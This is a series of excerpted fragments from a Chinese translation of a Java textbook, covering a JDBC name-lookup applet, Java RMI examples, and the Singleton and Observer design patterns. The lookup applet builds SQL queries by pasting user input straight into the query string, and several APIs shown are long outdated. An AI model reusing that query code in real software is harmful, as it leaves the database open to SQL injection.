    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｓｑｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＶＬｏｏｋｕｐ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｓｔｒｉｎｇ ｄｂＵｒｌ ＝ ＂ｊｄｂｃ：ｏｄｂｃ：ｐｅｏｐｌｅ＂； Ｓｔｒｉｎｇ ｕｓｅｒ ＝ ＂＂； Ｓｔｒｉｎｇ ｐａｓｓｗｏｒｄ ＝ ＂＂； Ｓｔａｔｅｍｅｎｔ ｓ； ＴｅｘｔＦｉｅｌｄ ｓｅａｒｃｈＦｏｒ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（２０）； Ｌａｂｅｌ ｃｏｍｐｌｅｔｉｏｎ ＝ ｎｅｗ Ｌａｂｅｌ（＂ ＂）； ＴｅｘｔＡｒｅａ ｒｅｓｕｌｔｓ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（４０， ２０）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｓｅａｒｃｈＦｏｒ．ａｄｄＴｅｘｔＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｅａｒｃｈＦｏｒＬ（））； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ｌａｓｔ ｎａｍｅ ｔｏ ｓｅａｒｃｈ ｆｏｒ：＂））； ｐ．ａｄｄ（ｓｅａｒｃｈＦｏｒ）； ｐ．ａｄｄ（ｃｏｍｐｌｅｔｉｏｎ）； ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ａｄｄ（ｐ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＮＯＲＴＨ）； ａｄｄ（ｒｅｓｕｌｔｓ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ｔｒｙ ｛ ／／ Ｌｏａｄ ｔｈｅ ｄｒｉｖｅｒ （ｒｅｇｉｓｔｅｒｓ ｉｔｓｅｌｆ） Ｃｌａｓｓ．ｆｏｒＮａｍｅ（ ＂ｓｕｎ．ｊｄｂｃ．ｏｄｂｃ．ＪｄｂｃＯｄｂｃＤｒｉｖｅｒ＂）； Ｃｏｎｎｅｃｔｉｏｎ ｃ ＝ ＤｒｉｖｅｒＭａｎａｇｅｒ．ｇｅｔＣｏｎｎｅｃｔｉｏｎ（ ５８０ ｄｂＵｒｌ， ｕｓｅｒ， ｐａｓｓｗｏｒｄ）； ｓ ＝ ｃ．ｃｒｅａｔｅＳｔａｔｅｍｅｎｔ（）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｒｅｓｕｌｔｓ．ｓｅｔＴｅｘｔ（ｅ．ｇｅｔＭｅｓｓａｇｅ（））； ｝ ｝ ｃｌａｓｓ ＳｅａｒｃｈＦｏｒＬ ｉｍｐｌｅｍｅｎｔｓ ＴｅｘｔＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｔｅｘｔＶａｌｕｅＣｈａｎｇｅｄ（ＴｅｘｔＥｖｅｎｔ ｔｅ） ｛ ＲｅｓｕｌｔＳｅｔ ｒ； ｉｆ（ｓｅａｒｃｈＦｏｒ．ｇｅｔＴｅｘｔ（）．ｌｅｎｇｔｈ（） ＝＝ ０） ｛ ｃｏｍｐｌｅｔｉｏｎ．ｓｅｔＴｅｘｔ（＂＂）； ｒｅｓｕｌｔｓ．ｓｅｔＴｅｘｔ（＂＂）； ｒｅｔｕｒｎ； ｝ ｔｒｙ ｛ ／／ Ｎａｍｅ ｃｏｍｐｌｅｔｉｏｎ： ｒ ＝ ｓ．ｅｘｅｃｕｔｅＱｕｅｒｙ（ ＂ＳＥＬＥＣＴ ＬＡＳＴ ＦＲＯＭ ｐｅｏｐｌｅ．ｃｓｖ ｐｅｏｐｌｅ ＂ ＋ ＂ＷＨＥＲＥ （ＬＡＳＴ Ｌｉｋｅ ＇＂ ＋ ｓｅａｒｃｈＦｏｒ．ｇｅｔＴｅｘｔ（） ＋ ＂％＇） ＯＲＤＥＲ ＢＹ ＬＡＳＴ＂）； ｉｆ（ｒ．ｎｅｘｔ（）） ｃｏｍｐｌｅｔｉｏｎ．ｓｅｔＴｅｘｔ（ ｒ．ｇｅｔＳｔｒｉｎｇ（＂ｌａｓｔ＂））； ｒ ＝ ｓ．ｅｘｅｃｕｔｅＱｕｅｒｙ（ ＂ＳＥＬＥＣＴ ＦＩＲＳＴ， ＬＡＳＴ， ＥＭＡＩＬ ＂ ＋ ＂ＦＲＯＭ ｐｅｏｐｌｅ．ｃｓｖ ｐｅｏｐｌｅ ＂ ＋ ＂ＷＨＥＲＥ （ＬＡＳＴ＝＇＂ ＋ ｃｏｍｐｌｅｔｉｏｎ．ｇｅｔＴｅｘｔ（） ＋ ＂＇） ＡＮＤ （ＥＭＡＩＬ Ｉｓ Ｎｏｔ Ｎｕｌｌ） ＂ ＋ ＂ＯＲＤＥＲ ＢＹ ＦＩＲＳＴ＂）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｒｅｓｕｌｔｓ．ｓｅｔＴｅｘｔ（ ｓｅａｒｃｈＦｏｒ．ｇｅｔＴｅｘｔ（） ＋ ＂＼ｎ＂）； ｒｅｓｕｌｔｓ．ａｐｐｅｎｄ（ｅ．ｇｅｔＭｅｓｓａｇｅ（））； ｒｅｔｕｒｎ； ｝ ｒｅｓｕｌｔｓ．ｓｅｔＴｅｘｔ（＂＂）； ｔｒｙ ｛ ｗｈｉｌｅ（ｒ．ｎｅｘｔ（）） ｛ ｒｅｓｕｌｔｓ．ａｐｐｅｎｄ（ ｒ．ｇｅｔＳｔｒｉｎｇ（＂Ｌａｓｔ＂） ＋ ＂， ＂ ＋ ｒ．ｇｅｔＳｔｒｉｎｇ（＂ｆＩＲＳＴ＂） ＋ ＂： ＂ ＋ ｒ．ｇｅｔＳｔｒｉｎｇ（＂ＥＭＡＩＬ＂） ＋ ＂＼ｎ＂）； ｝ ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｒｅｓｕｌｔｓ．ｓｅｔＴｅｘｔ（ｅ．ｇｅｔＭｅｓｓａｇｅ（））； ｝ ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＶＬｏｏｋｕｐ ａｐｐｌｅｔ ＝ ｎｅｗ ＶＬｏｏｋｕｐ（）； ５８１ Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｅｍａｉｌ ｌｏｏｋｕｐ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（５００，２００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "｝ ｝ ／／／：￣ 数据库的许多逻辑都是相同的，但大家可看到这里添加了一个 ＴｅｘｔＬｉｓｔｅｎｅｒ，用于监视在 ＴｅｘｔＦｉｅｌｄ（文本 字段）的输入。"},
    {"text": "所以只要键入一个新字符，它首先就会试着查找数据库中的“姓”，并显示出与当前输入相 符的第一条记录（将其置入 ｃｏｍｐｌｅｔｉｏｎ Ｌａｂｅｌ，并用它作为要查找的文本）。"},
    {"text": "特别是 ＤａｔａｂａｓｅＭｅｔａＤａｔａ 接口——与 Ｊａｖａ 中看到 的大多数接口相反，它的体积显得非常庞大——存在着数量众多的方法，比如 ｄａｔａＤｅｆｉｎｉｔｉｏｎＣａｕｓｅｓＴｒａｎｓａｃｔｉｏｎＣｏｍｍｉｔ（），ｇｅｔＭａｘＣｏｌｕｍｎＮａｍｅＬｅｎｇｔｈ（），ｇｅｔＭａｘＳｔａｔｅｍｅｎｔＬｅｎｇｔｈ（）， ｓｔｏｒｅｓＭｉｘｅｄＣａｓｅＱｕｏｔｅｄＩｄｅｎｔｉｆｉｅｒｓ（），ｓｕｐｐｏｒｔｓＡＮＳＩ９２ＩｎｔｅｒｍｅｄｉａｔｅＳＱＬ（），ｓｕｐｐｏｒｔｓＬｉｍｉｔｅｄＯｕｔｅｒＪｏｉｎｓ（） 等等。"},
    {"text": "但即便象 ＳＱＬ 这样的“标准”，也存在无数的变种，所以 ＪＤＢＣ 必须提供一 个巨大的 ＤａｔａｂａｓｅＭｅｔａＤａｔａ 接口，使我们的代码能真正利用当前要连接的一种“标准”ＳＱＬ 数据库的能力。"},
    {"text": "此外，在由 Ｈａｍｉｌｔｏｎ Ｃａｔｔｅｌ 和 Ｆｉｓｈｅｒ 编著、Ａｄｄｉｓｏｎ－Ｗｅｓｌｅｙ 于 １９９７ 年出版的《ＪＤＢＣ Ｄａｔａｂａｓｅ Ａｃｃｅｓｓ ｗｉｔｈ Ｊａｖａ》 中，也提供了有关这一主题的许多有用资料。"},
    {"text": "思考这个问题最佳的方 式是：某些对象正好位于另一台机器，我们可向它们发送一条消息，并获得返回结果，就象那些对象位于自 己的本地机器一样。"},
    {"text": "（２） 远程接口必须扩展接口 ｊａｖａ．ｒｍｉ．Ｒｅｍｏｔｅ。 （３） 除与应用程序本身有关的违例之外，远程接口中的每个方法都必须在自己的 ｔｈｒｏｗｓ 从句中声明 ｊａｖａ．ｒｍｉ．ＲｅｍｏｔｅＥｘｃｅｐｔｉｏｎ。 （４） 作为参数或返回值传递的一个远程对象（不管是直接的，还是在本地对象中嵌入）必须声明为远程接 口，不可声明为实施类。"},
    {"text": "下面是一个简单的远程接口示例，它代表的是一个精确计时服务： ／／： ＰｅｒｆｅｃｔＴｉｍｅＩ．ｊａｖａ ／／ Ｔｈｅ ＰｅｒｆｅｃｔＴｉｍｅ ｒｅｍｏｔｅ ｉｎｔｅｒｆａｃｅ ｐａｃｋａｇｅ ｃ１５．ｐｔｉｍｅ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｒｍｉ．＊； ｉｎｔｅｒｆａｃｅ ＰｅｒｆｅｃｔＴｉｍｅＩ ｅｘｔｅｎｄｓ Ｒｅｍｏｔｅ ｛ ｌｏｎｇ ｇｅｔＰｅｒｆｅｃｔＴｉｍｅ（） ｔｈｒｏｗｓ ＲｅｍｏｔｅＥｘｃｅｐｔｉｏｎ；"},
    {"text": "｝ ／／／：￣ 它表面上与其他接口是类似的，只是对 Ｒｅｍｏｔｅ 进行了扩展，而且它的所有方法都会“掷”出 ＲｅｍｏｔｅＥｘｃｅｐｔｉｏｎ（远程违例）。"},
    {"text": "下面列出远程接口 ＰｅｒｆｅｃｔＴｉｍｅ 的实施过程： ／／： ＰｅｒｆｅｃｔＴｉｍｅ．ｊａｖａ ／／ Ｔｈｅ ｉｍｐｌｅｍｅｎｔａｔｉｏｎ ｏｆ ｔｈｅ ＰｅｒｆｅｃｔＴｉｍｅ ／／ ｒｅｍｏｔｅ ｏｂｊｅｃｔ ｐａｃｋａｇｅ ｃ１５．ｐｔｉｍｅ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｒｍｉ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｒｍｉ．ｓｅｒｖｅｒ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｒｍｉ．ｒｅｇｉｓｔｒｙ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＰｅｒｆｅｃｔＴｉｍｅ ｅｘｔｅｎｄｓ ＵｎｉｃａｓｔＲｅｍｏｔｅＯｂｊｅｃｔ ｉｍｐｌｅｍｅｎｔｓ ＰｅｒｆｅｃｔＴｉｍｅＩ ｛ ／／ Ｉｍｐｌｅｍｅｎｔａｔｉｏｎ ｏｆ ｔｈｅ ｉｎｔｅｒｆａｃｅ： ｐｕｂｌｉｃ ｌｏｎｇ ｇｅｔＰｅｒｆｅｃｔＴｉｍｅ（） ｔｈｒｏｗｓ ＲｅｍｏｔｅＥｘｃｅｐｔｉｏｎ ｛ ｒｅｔｕｒｎ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； ｝ ／／ Ｍｕｓｔ ｉｍｐｌｅｍｅｎｔ ｃｏｎｓｔｒｕｃｔｏｒ ｔｏ ｔｈｒｏｗ ／／ ＲｅｍｏｔｅＥｘｃｅｐｔｉｏｎ： ｐｕｂｌｉｃ ＰｅｒｆｅｃｔＴｉｍｅ（） ｔｈｒｏｗｓ ＲｅｍｏｔｅＥｘｃｅｐｔｉｏｎ ｛ ／／ ｓｕｐｅｒ（）； ／／ Ｃａｌｌｅｄ ａｕｔｏｍａｔｉｃａｌｌｙ ｝ ／／ Ｒｅｇｉｓｔｒａｔｉｏｎ ｆｏｒ ＲＭＩ ｓｅｒｖｉｎｇ： ５８３ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｙｓｔｅｍ．ｓｅｔＳｅｃｕｒｉｔｙＭａｎａｇｅｒ（ ｎｅｗ ＲＭＩＳｅｃｕｒｉｔｙＭａｎａｇｅｒ（））； ｔｒｙ ｛ ＰｅｒｆｅｃｔＴｉｍｅ ｐｔ ＝ ｎｅｗ ＰｅｒｆｅｃｔＴｉｍｅ（）； Ｎａｍｉｎｇ．ｂｉｎｄ（ ＂／／ｃｏｌｏｓｓｕｓ：２００５／ＰｅｒｆｅｃｔＴｉｍｅ＂， ｐｔ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｒｅａｄｙ ｔｏ ｄｏ ｔｉｍｅ＂）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "在 Ｕｎｉｘ 中，使用： ｒｍｉｒｅｇｉｓｔｒｙ ＆ 和许多网络程序一样，ｒｍｉｒｅｇｉｓｔｒｙ 位于机器启动它所在的某个 ＩＰ 地址处，但它也必须监视一个端口。"},
    {"text": "对这个例子来说，端口将位于 ２００５，所以 ｒｍｉｒｅｇｉｓｔｒｙ 应该象下面这样启动（对于 ３２ 位 Ｗｉｎｄｏｗｓ）： ｓｔａｒｔ ｒｍｉｒｅｇｉｓｔｒｙ ２００５ 对于 Ｕｎｉｘ，则使用下述命令： ｒｍｉｒｅｇｉｓｔｒｙ ２００５ ＆ 与端口有关的信息必须传送给 ｂｉｎｄ（）命令，同时传送的还有注册表所在的那台机器的 ＩＰ 地址。"},
    {"text": "就我自己的情况来说，我的机器叫作“Ｃｏｌｏｓｓｕｓ”（因为我用几个大容量的硬盘保存 各种不同的开发系统——Ｃｌｏｓｓｕｓ 是“巨人”的意思）。"},
    {"text": "考虑到这些因素，ｂｉｎｄ（）命令变成了下面这个样子： Ｎａｍｉｎｇ．ｂｉｎｄ（＂／／ｃｏｌｏｓｓｕｓ：２００５／ＰｅｒｆｅｃｔＴｉｍｅ＂， ｐｔ）；"},
    {"text": "若使用默认端口 １０９９，就没有必要指定一个端口，所以可以使用： Ｎａｍｉｎｇ．ｂｉｎｄ（＂／／ｃｏｌｏｓｓｕｓ／ＰｅｒｆｅｃｔＴｉｍｅ＂， ｐｔ）；"},
    {"text": "在 ＪＤＫ 未来的版本中（１．１ 之后），一旦改正了 ｌｏｃａｌｈｏｓｔ 的问题，就能正常地进行本地测试，去掉 ＩＰ 地 ５８４ 址，只使用标识符： Ｎａｍｉｎｇ．ｂｉｎｄ（＂ＰｅｒｆｅｃｔＴｉｍｅ＂， ｐｔ）；"},
    {"text": "若事前知道自己的是要求用以注册表的唯一一个应用， 就可在程序内部启动它，使用下述代码： ＬｏｃａｔｅＲｅｇｉｓｔｒｙ．ｃｒｅａｔｅＲｅｇｉｓｔｒｙ（２００５）；"},
    {"text": "我们从远程对象传入、传出的任何对象都必须“ｉｍｐｌｅｍｅｎｔ Ｓｅｒｉａｌｉｚａｂｌｅ”（如果想传递远程引用，而非整个对象，对象的参数就可以“ｉｍｐｌｅｍｅｎｔ Ｒｅｍｏｔｅ”）。"},
    {"text": "ＰｅｒｆｅｃｔＴｉｍｅ．ｊａｖａ 位于包 ｃ１５．Ｐｔｉｍｅ 中，即使我们调用 与 ＰｅｒｆｅｃｔＴｉｍｅ．ｃｌａｓｓ 同一目录内的 ｒｍｉｃ，ｒｍｉｃ 都无法找到文件。"},
    {"text": "因此，我们 必须同时指定类路径，就象下面这样： ｒｍｉｃ ｃ１５．ＰＴｉｍｅ．ＰｅｒｆｅｃｔＴｉｍｅ 执行这个命令时，并不一定非要在包含了 ＰｅｒｆｅｃｔＴｉｍｅ．ｃｌａｓｓ 的目录中，但结果会置于当前目录。 若 ｒｍｉｃ 成功运行，目录里就会多出两个新类： ＰｅｒｆｅｃｔＴｉｍｅ＿Ｓｔｕｂ．ｃｌａｓｓ ＰｅｒｆｅｃｔＴｉｍｅ＿Ｓｋｅｌ．ｃｌａｓｓ 它们分别对应根（Ｓｔｕｂ）和干（Ｓｋｅｌｅｔｏｎ）。"},
    {"text": "下面是使用 ＰｅｒｆｅｃｔＴｉｍｅ 的程序： ／／： ＤｉｓｐｌａｙＰｅｒｆｅｃｔＴｉｍｅ．ｊａｖａ ／／ Ｕｓｅｓ ｒｅｍｏｔｅ ｏｂｊｅｃｔ ＰｅｒｆｅｃｔＴｉｍｅ ｐａｃｋａｇｅ ｃ１５．ｐｔｉｍｅ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｒｍｉ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｒｍｉ．ｒｅｇｉｓｔｒｙ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＤｉｓｐｌａｙＰｅｒｆｅｃｔＴｉｍｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｙｓｔｅｍ．ｓｅｔＳｅｃｕｒｉｔｙＭａｎａｇｅｒ（ ５８５ ｎｅｗ ＲＭＩＳｅｃｕｒｉｔｙＭａｎａｇｅｒ（））； ｔｒｙ ｛ ＰｅｒｆｅｃｔＴｉｍｅＩ ｔ ＝ （ＰｅｒｆｅｃｔＴｉｍｅＩ）Ｎａｍｉｎｇ．ｌｏｏｋｕｐ（ ＂／／ｃｏｌｏｓｓｕｓ：２００５／ＰｅｒｆｅｃｔＴｉｍｅ＂）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｐｅｒｆｅｃｔ ｔｉｍｅ ＝ ＂ ＋ ｔ．ｇｅｔＰｅｒｆｅｃｔＴｉｍｅ（））； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "在下述方法调用中： ｔ．ｇｅｔＰｅｒｆｅｃｔＴｉｍｅ（ ） 我们可看到一旦获得远程对象的句柄，用它进行的编程与用本地对象的编程是非常相似（仅有一个区别：远 程方法会“掷”出一个 ＲｅｍｏｔｅＥｘｃｅｐｔｉｏｎ 违例）。"},
    {"text": "在由 Ｏｒｆａｌｉ 和 Ｈａｒｋｅｙ 编著的《Ｃｌｉｅｎｔ／Ｓｅｒｖｅｒ Ｐｒｏｇｒａｍｍｉｎｇ ｗｉｔｈ Ｊａｖａ ａｎｄ ＣＯＲＢＡ》一书中（Ｊｏｈｎ Ｗｉｌｅｙ＆Ｓｏｎｓ １９９７ 年出版）， 大家可获得对 Ｊａｖａ 中的分布式对象的全面介绍（该书似乎对 ＣＯＲＢＡ 似乎有些偏见）。 为 ＣＯＲＢＡ 赋予一个较公 正的对待的一本书是由 Ａｎｄｒｅａｓ Ｖｏｇｅｌ 和 Ｋｅｉｔｈ Ｄｕｄｄｙ 编写的《Ｊａｖａ Ｐｒｏｇｒａｍｍｉｎｇ ｗｉｔｈ ＣＯＲＢＡ》，Ｊｏｈｎ Ｗｉｌｅｙ＆Ｓｏｎｓ 于 １９９７ 年出版。"},
    {"text": "（２） 创建一个服务器，用它请求用户输入密码，然后打开一个文件，并将文件通过网络连接传送出去。 创建 一个同该服务器连接的客户，为其分配适当的密码，然后捕获和保存文件。"},
    {"text": "在自己的机器上用 ｌｏｃａｌｈｏｓｔ （通过调用 ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（ｎｕｌｌ）生成本地 ＩＰ 地址 １２７．０．０．１）测试这两个程序。"},
    {"text": "（６） （可能有些难度）创建一对客户／服务器程序，利用数据报（Ｄａｔａｇｒａｍ）将一个文件从一台机器传到另 一台（参见本章数据报小节末尾的叙述）。"},
    {"text": "（７） （可能有些难度）对 ＶＬｏｏｋｕｐ．ｊａｖａ 程序作一番修改，使我们能点击得到的结果名字，然后程序会自动取 得那个名字，并把它复制到剪贴板（以便我们方便地粘贴到自己的 Ｅ－ｍａｉｌ ）。"},
    {"text": "５８７ 第 １ ６ 章 设计范式 本章要向大家介绍重要但却并不是那么传统的“范式”（Ｐａｔｔｅｒｎ）程序设计方法。 在向面向对象程序设计的演化过程中，或许最重要的一步就是“设计范式”（Ｄｅｓｉｇｎ Ｐａｔｔｅｒｎ）的问世。"},
    {"text": "它 在由 Ｇａｍｍａ，Ｈｅｌｍ 和 Ｊｏｈｎｓｏｎ 编著的《Ｄｅｓｉｇｎ Ｐａｔｔｅｒｎｓ》一书中被定义成一个“里程碑”（该书由 Ａｄｄｉｓｏｎ－Ｗｅｓｌｅｙ 于 １９９５ 年出版，注释①）。"},
    {"text": "该程序（仿真垃圾分类）一直都在进化，可将这种进化作为自己设计方 案的一个原型——先为特定的问题提出一个适当的方案，再逐步改善，使其成为解决那类问题一种最灵活的 方案。"},
    {"text": "这一点是非常有趣的，因为范式具有以代码形式直接实现的形式，所以 可能不希望它在低级设计或者具体实施以前显露出来（而且事实上，除非真正进入那些阶段，否则一般意识 不到自己需要一个范式来解决问题）。"},
    {"text": "在《Ｄｅｓｉｇｎ Ｐａｔｔｅｒｎｓ》一书中，大家还能看到另一种范式：“继承器”（即 Ｉｔｅｒａｔｏｒ，Ｊａｖａ １．０ 和 １．１ 不 负责任地把它叫作 Ｅｎｕｍｅｒａｔｉｏｎ，即“枚举”；"},
    {"text": "利用继承器，可以编写出通 用的代码，以便对一个序列里的所有元素采取某种操作，同时不必关心这个序列是如何构建的。 这样一来， 我们的通用代码即可伴随任何能产生继承器的集合使用。"},
    {"text": "单子在 Ｊａｖａ 库中得到了应用，但下面这个例子显得更直接一些： ／／： ＳｉｎｇｌｅｔｏｎＰａｔｔｅｒｎ．ｊａｖａ ／／ Ｔｈｅ Ｓｉｎｇｌｅｔｏｎ ｄｅｓｉｇｎ ｐａｔｔｅｒｎ： ｙｏｕ ｃａｎ ／／ ｎｅｖｅｒ ｉｎｓｔａｎｔｉａｔｅ ｍｏｒｅ ｔｈａｎ ｏｎｅ． ５８８ ｐａｃｋａｇｅ ｃ１６；"},
    {"text": "／／ Ｓｉｎｃｅ ｔｈｉｓ ｉｓｎ＇ｔ ｉｎｈｅｒｉｔｅｄ ｆｒｏｍ ａ Ｃｌｏｎｅａｂｌｅ ／／ ｂａｓｅ ｃｌａｓｓ ａｎｄ ｃｌｏｎｅａｂｉｌｉｔｙ ｉｓｎ＇ｔ ａｄｄｅｄ， ／／ ｍａｋｉｎｇ ｉｔ ｆｉｎａｌ ｐｒｅｖｅｎｔｓ ｃｌｏｎｅａｂｉｌｉｔｙ ｆｒｏｍ ／／ ｂｅｉｎｇ ａｄｄｅｄ ｉｎ ａｎｙ ｄｅｒｉｖｅｄ ｃｌａｓｓｅｓ： ｆｉｎａｌ ｃｌａｓｓ Ｓｉｎｇｌｅｔｏｎ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ Ｓｉｎｇｌｅｔｏｎ ｓ ＝ ｎｅｗ Ｓｉｎｇｌｅｔｏｎ（４７）；"},
    {"text": "ｐｒｉｖａｔｅ ｉｎｔ ｉ； ｐｒｉｖａｔｅ Ｓｉｎｇｌｅｔｏｎ（ｉｎｔ ｘ） ｛ ｉ ＝ ｘ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｉｎｇｌｅｔｏｎ ｇｅｔＨａｎｄｌｅ（） ｛ ｒｅｔｕｒｎ ｓ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＶａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｉ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＶａｌｕｅ（ｉｎｔ ｘ） ｛ ｉ ＝ ｘ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｉｎｇｌｅｔｏｎＰａｔｔｅｒｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｉｎｇｌｅｔｏｎ ｓ ＝ Ｓｉｎｇｌｅｔｏｎ．ｇｅｔＨａｎｄｌｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ．ｇｅｔＶａｌｕｅ（））； Ｓｉｎｇｌｅｔｏｎ ｓ２ ＝ Ｓｉｎｇｌｅｔｏｎ．ｇｅｔＨａｎｄｌｅ（）； ｓ２．ｓｅｔＶａｌｕｅ（９）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ．ｇｅｔＶａｌｕｅ（））； ｔｒｙ ｛ ／／ Ｃａｎ＇ｔ ｄｏ ｔｈｉｓ： ｃｏｍｐｉｌｅ－ｔｉｍｅ ｅｒｒｏｒ． ／／ Ｓｉｎｇｌｅｔｏｎ ｓ３ ＝ （Ｓｉｎｇｌｅｔｏｎ）ｓ２．ｃｌｏｎｅ（）；"},
    {"text": "｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｝ ｝ ／／／：￣ 创建单子的关键就是防止客户程序员采用除由我们提供的之外的任何一种方式来创建一个对象。"},
    {"text": "必须将所有 构建器都设为 ｐｒｉｖａｔｅ（私有），而且至少要创建一个构建器，以防止编译器帮我们自动同步一个默认构建 器（它会自做聪明地创建成为“友好的”——ｆｒｉｅｎｄｌｙ，而非 ｐｒｉｖａｔｅ）。"},
    {"text": "由于 Ｓｉｎｇｌｅｔｏｎ 是从 Ｏｂｊｅｃｔ 直接继承的，所以 ｃｌｏｎｅ（）方法会保持 ｐｒｏｔｅｃｔｅｄ（受保护）属性，不能够使用 它（强行使用会造成编译期错误）。 然而，假如我们是从一个类结构中继承，那个结构已经过载了 ｃｌｏｎｅ（） 方法，使其具有 ｐｕｂｌｉｃ 属性，并实现了 Ｃｌｏｎｅａｂｌｅ，那么为了禁止克隆，需要过载 ｃｌｏｎｅ（），并掷出一个 ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ（不支持克隆违例），就象第 １２ 章介绍的那样。"},
    {"text": "１ ６ ． １ ． ２ 范式分类 《Ｄｅｓｉｇｎ Ｐａｔｔｅｒｎｓ》一书讨论了 ２３ 种不同的范式，并依据三个标准分类（所有标准都涉及那些可能发生变 化的方面）。"},
    {"text": "《Ｄｅｓｉｇｎ Ｐａｔｔｅｒｎｓ》为所有这 ２３ 种范式都分别使用了一节，随附的还有大量示例，但大多是用 Ｃ＋＋编写 的，少数用 Ｓｍａｌｌｔａｌｋ 编写（如看过这本书，就知道这实际并不是个大问题，因为很容易即可将基本概念从 两种语言翻译到 Ｊａｖａ 里）。 现在这本书并不打算重复《Ｄｅｓｉｇｎ Ｐａｔｔｅｒｎｓ》介绍的所有范式，因为那是一本 独立的书，大家应该单独阅读。"},
    {"text": "１ ６ ． ２ 观察器范式 观察器（Ｏｂｓｅｒｖｅｒ）范式解决的是一个相当普通的问题：由于某些对象的状态发生了改变，所以一组对象都 需要更新，那么该如何解决？"},
    {"text": "在 Ｓｍａｌｌｔａｌｋ 的 ＭＶＣ（模型－视图－控制器）的“模型－视图”部分中，或在 几乎等价的“文档－视图结构”中，大家可以看到这个问题。"},
    {"text": "如果有人说“好了，所有人都要检查自己，并可能要 进行更新”，那么 Ｏｂｓｅｒｖａｂｌｅ 类会执行这个任务——为列表中的每个“人”都调用 ｎｏｔｉｆｙＯｂｓｅｒｖｅｒｓ（）方 法。"},
